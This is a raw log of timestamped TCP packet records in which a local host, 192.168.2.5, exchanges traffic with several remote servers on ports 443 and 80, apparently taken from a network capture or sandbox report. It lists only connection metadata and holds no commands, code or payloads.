Nov 17, 2024 12:35:36.603893995 CET	443	49852	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.605477095 CET	443	49856	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.605530977 CET	443	49856	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.605639935 CET	49856	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.605788946 CET	49856	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.605803013 CET	443	49856	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.605813026 CET	49856	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.605818033 CET	443	49856	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.607173920 CET	49867	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.607202053 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.607284069 CET	49867	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.607824087 CET	49867	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.607835054 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.608953953 CET	49868	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.608998060 CET	443	49868	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.609546900 CET	49868	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.609672070 CET	49868	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.609694004 CET	443	49868	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.611512899 CET	49857	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.611531973 CET	49858	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.611538887 CET	443	49858	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.616281033 CET	443	49855	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.616483927 CET	443	49855	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.616559982 CET	49855	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.616700888 CET	49855	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.616713047 CET	443	49855	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.616722107 CET	49855	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.616727114 CET	443	49855	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.618532896 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.618587971 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.618825912 CET	49853	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.618895054 CET	49853	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.618900061 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.618930101 CET	49853	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.618933916 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.619128942 CET	49869	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.619158030 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.619252920 CET	49869	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.619357109 CET	443	49854	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.619796038 CET	49869	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.619808912 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.619880915 CET	443	49854	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.621270895 CET	49854	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.621270895 CET	49854	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.621270895 CET	49854	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.621507883 CET	49870	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.621536970 CET	443	49870	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.621606112 CET	49870	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.621820927 CET	49870	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.621834993 CET	443	49870	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.622353077 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.622364998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.622375011 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.622435093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.622446060 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.622448921 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.622462034 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.622474909 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.622515917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.622519970 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.622534037 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.622576952 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.622579098 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.622641087 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.622652054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.622701883 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.622716904 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.622731924 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.622807980 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.623461008 CET	49871	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.623491049 CET	443	49871	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.623548985 CET	49871	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.623884916 CET	49871	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.623902082 CET	443	49871	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.627082109 CET	49860	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.627091885 CET	443	49860	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.627120972 CET	49864	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:36.627120972 CET	49859	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.627120972 CET	49861	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.627130032 CET	49862	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:36.627136946 CET	443	49864	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:36.644141912 CET	49863	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:36.660027981 CET	49858	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.660111904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660124063 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660136938 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660147905 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660232067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660243034 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660254002 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660265923 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660278082 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.660278082 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.660322905 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.660322905 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.660439014 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660511017 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660521984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660552025 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660567045 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.660567045 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.660608053 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.660681963 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660717964 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.660722017 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660733938 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660809994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660821915 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660845995 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.660881996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.660916090 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.660916090 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.661092997 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.661132097 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.661140919 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.661159039 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.661211967 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.661293030 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.661304951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.661315918 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.661329031 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.661350012 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.661417961 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.661442041 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.661664009 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.672158003 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:36.672629118 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:36.672645092 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:36.672995090 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:36.677345991 CET	49864	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:36.677350044 CET	49860	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.677891016 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:36.677953005 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:36.678132057 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:36.678152084 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:36.678196907 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:36.689032078 CET	443	49857	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.689053059 CET	443	49857	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.689105988 CET	49857	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.689131021 CET	443	49857	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.689374924 CET	443	49857	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.690243006 CET	49857	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.690253019 CET	443	49857	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.690301895 CET	49857	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.690337896 CET	49857	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.690709114 CET	49872	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.690732002 CET	443	49872	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.690828085 CET	49872	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.691198111 CET	49872	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.691210985 CET	443	49872	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.695651054 CET	443	49858	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.695672989 CET	443	49858	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.695933104 CET	443	49858	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.695956945 CET	49858	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.696000099 CET	49858	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.698693991 CET	49858	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.698708057 CET	443	49858	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.709261894 CET	443	49860	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.709291935 CET	443	49860	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.709340096 CET	443	49860	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.709367037 CET	49860	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.709403992 CET	49860	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.710345030 CET	49860	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.710391045 CET	443	49860	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.717056990 CET	443	49861	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.717077017 CET	443	49861	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.717139959 CET	49861	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.717159033 CET	443	49861	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.717159986 CET	443	49859	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.717176914 CET	443	49861	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.717195034 CET	443	49859	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.717250109 CET	49861	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.717272043 CET	443	49859	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.717305899 CET	49859	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.717355013 CET	49859	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.718898058 CET	49861	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.718919992 CET	443	49861	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.719235897 CET	49859	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.719279051 CET	443	49859	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.723814011 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:36.746689081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.746778965 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.746819019 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.746943951 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.746947050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.746984959 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.746984959 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.746995926 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.747030973 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.747037888 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.747047901 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.747060061 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.747080088 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.747080088 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.747123957 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.747206926 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.747219086 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.747231960 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.747243881 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.747256041 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.747275114 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.747297049 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.779073954 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.779324055 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.779401064 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.779422045 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.779422998 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.779433966 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.779469013 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.779510975 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.779522896 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.779534101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.779546976 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.779568911 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.779568911 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.779690027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.779701948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.779712915 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.779730082 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.779737949 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.779737949 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.779788971 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.779788971 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.779841900 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.779854059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.779865026 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.779905081 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.779905081 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.779989004 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.780002117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.780014038 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.780061960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.780061960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.780381918 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.780395031 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.780406952 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.780420065 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.780431032 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.780442953 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.780443907 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.780456066 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.780492067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.780492067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.825776100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.825789928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.825850010 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.865358114 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.865381956 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.865402937 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.865415096 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.865425110 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.865428925 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.865443945 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.865473032 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.865530968 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.865654945 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.865668058 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.865686893 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.865698099 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.865711927 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.865715981 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.865741014 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.865755081 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.865777969 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.865822077 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.897820950 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.897905111 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.897913933 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.897927046 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.897938967 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.897950888 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.898005009 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.898041010 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898051977 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898065090 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898078918 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898122072 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.898122072 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.898190022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898267031 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.898276091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898319006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898330927 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898361921 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.898387909 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.898459911 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898471117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898483038 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898539066 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.898539066 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.898591042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898653984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898675919 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898704052 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.898746967 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.898752928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898765087 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898794889 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.898873091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898950100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.898960114 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.898962021 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.899008989 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.899008989 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.899085045 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.899095058 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.899106026 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.899151087 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.899209976 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.899285078 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.899336100 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.899394989 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.899543047 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.924237013 CET	49854	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.924266100 CET	443	49854	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.942789078 CET	49873	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:36.942837000 CET	443	49873	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:36.943018913 CET	49873	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:36.943336010 CET	49873	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:36.943353891 CET	443	49873	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:36.957206964 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:36.957237005 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:36.957246065 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:36.957254887 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:36.957304001 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:36.957324982 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:36.957370043 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:36.957390070 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:36.957415104 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:36.977112055 CET	49874	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:36.977185965 CET	443	49874	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:36.977262974 CET	49874	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:36.977843046 CET	49874	443	192.168.2.5	20.125.209.212
Nov 17, 2024 12:35:36.977863073 CET	443	49874	20.125.209.212	192.168.2.5
Nov 17, 2024 12:35:36.984158039 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.984189987 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.984203100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.984219074 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.984266043 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.984273911 CET	80	49778	185.215.113.206	192.168.2.5
